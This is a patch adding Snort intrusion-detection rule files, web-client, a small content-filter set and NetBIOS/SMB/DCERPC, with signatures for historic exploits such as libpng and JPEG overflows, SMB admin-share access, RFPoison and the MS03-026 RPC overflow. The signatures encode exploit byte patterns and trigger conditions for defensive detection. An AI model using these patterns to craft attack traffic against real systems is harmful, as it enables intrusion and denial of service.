+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT local resource redirection attempt"; flow:to_client,established; content:"Location|3A|"; nocase; pcre:"/^Location\x3a\s*URL\s*\x3a/smi"; reference:cve,2004-0549; reference:url,www.kb.cert.org/vuls/id/713878; classtype:attempted-user; sid:2577; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Content-Disposition CLSID command attempt"; flow:to_client,established; content:"Content-Disposition|3A|"; nocase; pcre:"/^Content-Disposition\x3a[^\r\n]*\{[\da-fA-F]{8}(-[\da-fA-F]{4}){3}-[\da-fA-F]{12}\}/smi"; reference:bugtraq,9510; reference:cve,2004-0420; reference:url,www.microsoft.com/technet/security/bulletin/ms04-024.mspx; classtype:attempted-user; sid:2589; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT libpng tRNS overflow attempt"; flow:to_client,established; content:"|89|PNG|0D 0A 1A 0A|"; content:"IHDR"; within:4; distance:4; content:"tRNS"; distance:0; byte_test:4,>,256,-8,relative,big; pcre:"/IHDR(?!.*?PLTE).*?tRNS/s"; reference:bugtraq,10872; reference:cve,2004-0597; classtype:attempted-user; sid:2673; rev:4;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT bitmap BitmapOffset integer overflow attempt"; flow:to_client,established; content:"image/bmp"; nocase; pcre:"/^Content-type\x3a\s*image\x2fbmp/smi"; pcre:"/^BM/sm"; byte_test:4,>,2147480000,8,relative,little; reference:bugtraq,9663; reference:cve,2004-0566; classtype:attempted-user; sid:2671; rev:4;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT JPEG parser heap overflow attempt"; flow:from_server,established; content:"image/"; nocase; pcre:"/^Content-Type\s*\x3a\s*image\x2fp?jpe?g.*\xFF\xD8.{2}.*\xFF[\xE1\xE2\xED\xFE]\x00[\x00\x01]/smi"; reference:bugtraq,11173; reference:cve,2004-0200; reference:url,www.microsoft.com/security/bulletins/200409_jpeg.mspx; classtype:attempted-admin; sid:2705; rev:4;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT JPEG transfer"; flow:from_server,established; content:"image/"; nocase; pcre:"/^Content-Type\s*\x3a\s*image\x2fp?jpe?g/smi"; flowbits:set,http.jpeg; flowbits:noalert; classtype:protocol-command-decode; sid:2706; rev:2;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT JPEG parser multipacket heap overflow"; flow:from_server,established; flowbits:isset,http.jpeg; content:"|FF|"; pcre:"/\xFF[\xE1\xE2\xED\xFE]\x00[\x00\x01]/"; reference:bugtraq,11173; reference:cve,2004-0200; reference:url,www.microsoft.com/security/bulletins/200409_jpeg.mspx; classtype:attempted-admin; sid:2707; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Microsoft ANI file parsing overflow"; flow:established,from_server; content:"RIFF"; nocase; content:"anih"; nocase; byte_test:4,>,36,0,relative,little; reference:cve,2004-1049; classtype:attempted-user; sid:3079; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT winamp .cda file name overflow attempt"; flow:from_server,established; content:".cda"; nocase; pcre:"/(\x5c[^\x5c]{16,}|\x2f[^\x2f]{16,})\.cda$/smi"; reference:bugtraq,11730; classtype:attempted-user; sid:3088; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT PNG large image width download attempt"; flow:from_server,established; content:"|89|PNG|0D 0A 1A 0A|"; content:"IHDR"; within:8; byte_test:4,>,32768,0,relative; reference:bugtraq,11523; reference:cve,2004-0990; reference:cve,2004-1244; reference:url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx; classtype:attempted-user; sid:3132; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT PNG large colour depth download attempt"; flow:from_server,established; content:"|89|PNG|0D 0A 1A 0A|"; content:"IHDR"; within:8; byte_test:1,>,16,8,relative; reference:bugtraq,11523; reference:cve,2004-0990; reference:cve,2004-1244; reference:url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx; classtype:attempted-user; sid:3134; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT PNG large image height download attempt"; flow:from_server,established; content:"|89|PNG|0D 0A 1A 0A|"; content:"IHDR"; within:8; byte_test:4,>,32768,4,relative; reference:bugtraq,11481; reference:bugtraq,11523; reference:cve,2004-0599; reference:cve,2004-0990; reference:cve,2004-1244; reference:url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx; classtype:attempted-user; sid:3133; rev:4;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT object type overflow attempt"; flow:from_server,established; content:"<OBJECT"; nocase; pcre:"/<OBJECT\s+[^>]*type\s*=[\x22\x27]\x2f{32}/smi"; reference:cve,2003-0344; reference:url,www.microsoft.com/technet/security/bulletin/MS03-020.mspx; classtype:attempted-user; sid:3149; rev:3;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT Windows Media Player directory traversal via Content-Disposition attempt"; flow:from_server,established; content:"Content-Disposition|3A|"; nocase; pcre:"/filename=[^\x3b\x3a\r\n]*(\x2e\x2e|\x25\x32\x65)/smi"; reference:bugtraq,7517; reference:cve,2003-0228; reference:url,www.microsoft.com/technet/security/bulletin/MS03-017.mspx; classtype:attempted-user; sid:3192; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT winhelp clsid attempt"; flow:from_server,established; content:"adb880a6-d8ff-11cf-9377-00aa003b7a11"; nocase; pcre:"/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*adb880a6-d8ff-11cf-9377-00aa003b7a11/si"; reference:bugtraq,4857; reference:cve,2002-0823; reference:url,www.ngssoftware.com/advisories/ms-winhlp.txt; classtype:attempted-user; sid:3148; rev:4;)
--- snort-2.8.5.2.orig/rules/community-inappropriate.rules
+++ snort-2.8.5.2/rules/community-inappropriate.rules
@@ -0,0 +1,8 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-inappropriate.rules,v 1.8 2005/04/01 17:16:23 akirk Exp $
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY INAPPROPRIATE lolita sex"; content:"lolita"; nocase; content:"sex"; nocase; flow:to_client,established; classtype:kickass-porn; sid:100000105; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY INAPPROPRIATE preteen sex"; content:"teen"; nocase; pcre:"/pre-?teen/i"; flow:to_client,established; classtype:kickass-porn; sid:100000123; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY INAPPROPRIATE girls gone wild"; content:"girls"; nocase; content:"gone"; nocase; content:"wild"; nocase; flow:to_client,established; classtype:kickass-porn; sid:100000124; rev:1;)
--- snort-2.8.5.2.orig/rules/netbios.rules
+++ snort-2.8.5.2/rules/netbios.rules
@@ -0,0 +1,512 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: netbios.rules,v 1.46.2.9.2.7 2005/07/22 19:19:54 mwatchinski Exp $
+#--------------
+# NETBIOS RULES
+#--------------
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"IPC|24 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:537; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"I|00|P|00|C|00 24 00 00 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:538; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IPC$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"IPC|24 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2465; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IPC$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"I|00|P|00|C|00 24 00 00 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2466; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"D|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:536; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"D|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2467; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS D$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"D|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2468; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS D$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"D|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2469; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"C|24 00|"; distance:2; nocase; content:!"IPC|24 00|"; within:5; distance:-5; nocase; classtype:protocol-command-decode; sid:533; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"C|00 24 00 00 00|"; distance:2; nocase; content:!"I|00|P|00|C|00 24 00 00 00|"; within:10; distance:-10; nocase; classtype:protocol-command-decode; sid:2470; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS C$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"C|24 00|"; distance:2; nocase; content:!"IPC|24 00|"; within:5; distance:-5; nocase; classtype:protocol-command-decode; sid:2471; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS C$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"C|00 24 00 00 00|"; distance:2; nocase; content:!"I|00|P|00|C|00 24 00 00 00|"; within:10; distance:-10; nocase; classtype:protocol-command-decode; sid:2472; rev:9;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"ADMIN|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:532; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"A|00|D|00|M|00|I|00|N|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2473; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ADMIN$ share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"ADMIN|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2474; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ADMIN$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_jump:2,7,little,relative; content:"A|00|D|00|M|00|I|00|N|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2475; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|winreg|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2174; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|w|00|i|00|n|00|r|00|e|00|g|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2175; rev:8;)
+
+# where did these come from?  I don't know.  lets disable them for real for now
+# and deal with it later...
+### alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg access"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; depth:5; offset:4; content:"|5C|winreg|00|"; offset:85; nocase; classtype:attempted-recon; rev:2;)
+### alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode access"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; depth:5; offset:4; content:"|5C 00|w|00|i|00|n|00|r|00|e|00|g|00|"; offset:85; nocase; classtype:attempted-recon; rev:2;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|winreg|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2476; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|w|00|i|00|n|00|r|00|e|00|g|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2477; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2478; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2479; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown unicode attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2480; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown unicode little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2481; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2482; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2483; rev:7;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .eml"; flow:to_server,established; content:"|00|.|00|E|00|M|00|L"; reference:url,www.f-secure.com/v-descs/nimda.shtml; classtype:bad-unknown; sid:1293; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .nws"; flow:to_server,established; content:"|00|.|00|N|00|W|00|S"; reference:url,www.f-secure.com/v-descs/nimda.shtml; classtype:bad-unknown; sid:1294; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda RICHED20.DLL"; flow:to_server,established; content:"R|00|I|00|C|00|H|00|E|00|D|00|2|00|0"; reference:url,www.f-secure.com/v-descs/nimda.shtml; classtype:bad-unknown; sid:1295; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS DOS RFPoison"; flow:to_server,established; content:"|5C 00 5C 00|*|00|S|00|M|00|B|00|S|00|E|00|R|00|V|00|E|00|R|00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00|"; reference:arachnids,454; classtype:attempted-dos; sid:529; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS NT NULL session"; flow:to_server,established; content:"|00 00 00 00|W|00|i|00|n|00|d|00|o|00|w|00|s|00| |00|N|00|T|00| |00|1|00|3|00|8|00|1"; reference:arachnids,204; reference:bugtraq,1163; reference:cve,2000-0347; classtype:attempted-recon; sid:530; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS RFParalyze Attempt"; flow:to_server,established; content:"BEAVIS"; content:"yep yep"; reference:bugtraq,1163; reference:cve,2000-0347; reference:nessus,10392; classtype:attempted-recon; sid:1239; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD.."; flow:to_server,established; content:"|5C|../|00 00 00|"; reference:arachnids,338; classtype:attempted-recon; sid:534; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD..."; flow:to_server,established; content:"|5C|...|00 00 00|"; reference:arachnids,337; classtype:attempted-recon; sid:535; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB startup folder access"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB2"; depth:5; offset:4; content:"Documents and Settings|5C|All Users|5C|Start Menu|5C|Programs|5C|Startup|00|"; distance:0; nocase; classtype:attempted-recon; sid:2176; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB startup folder unicode access"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB2"; depth:5; offset:4; content:"|5C 00|S|00|t|00|a|00|r|00|t|00| |00|M|00|e|00|n|00|u|00 5C 00|P|00|r|00|o|00|g|00|r|00|a|00|m|00|s|00 5C 00|S|00|t|00|a|00|r|00|t|00|u|00|p"; distance:0; nocase; classtype:attempted-recon; sid:2177; rev:4;)
+
+
+
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS Samba clientaccess"; flow:to_server,established; content:"|00|Unix|00|Samba"; reference:arachnids,341; classtype:not-suspicious; sid:539; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB SMB_COM_TRANSACTION Max Parameter and Max Count of 0 DOS Attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; content:"|00 00 00 00|"; depth:4; offset:43; reference:bugtraq,5556; reference:cve,2002-0724; reference:nessus,11110; reference:url,www.corest.com/common/showdoc.php?idx=262; reference:url,www.microsoft.com/technet/security/bulletin/MS02-045.mspx; classtype:denial-of-service; sid:2101; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB trans2open buffer overflow attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB2"; depth:5; offset:4; content:"|00 14|"; depth:2; offset:60; byte_test:2,>,256,0,relative,little; reference:bugtraq,7294; reference:cve,2003-0201; reference:url,www.digitaldefense.net/labs/advisories/DDI-1013.txt; classtype:attempted-admin; sid:2103; rev:9;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC invalid bind attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|00|"; within:1; distance:21; classtype:attempted-dos; sid:2190; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB DCERPC invalid bind attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|05|"; within:1; distance:2; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|00|"; within:1; distance:21; classtype:attempted-dos; sid:2191; rev:3;)
+alert tcp $HOME_NET 135 -> $EXTERNAL_NET any (msg:"NETBIOS DCERPC ISystemActivator bind accept"; flow:from_server,established; content:"|05|"; within:1; content:"|0C|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|00 00|"; within:2; distance:33; flowbits:isset,dce.isystemactivator.bind.attempt; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:2350; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|5C 00 5C 00|"; byte_test:4,>,256,-8,little,relative; flowbits:isset,dce.isystemactivator.bind; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:2351; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator path overflow attempt big endian unicode"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,<,16,3,relative; content:"|5C 00 5C 00|"; byte_test:4,>,256,-8,relative; flowbits:isset,dce.isystemactivator.bind; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:2352; rev:9;)
+
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind.attempt; flowbits:noalert; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:2192; rev:10;)
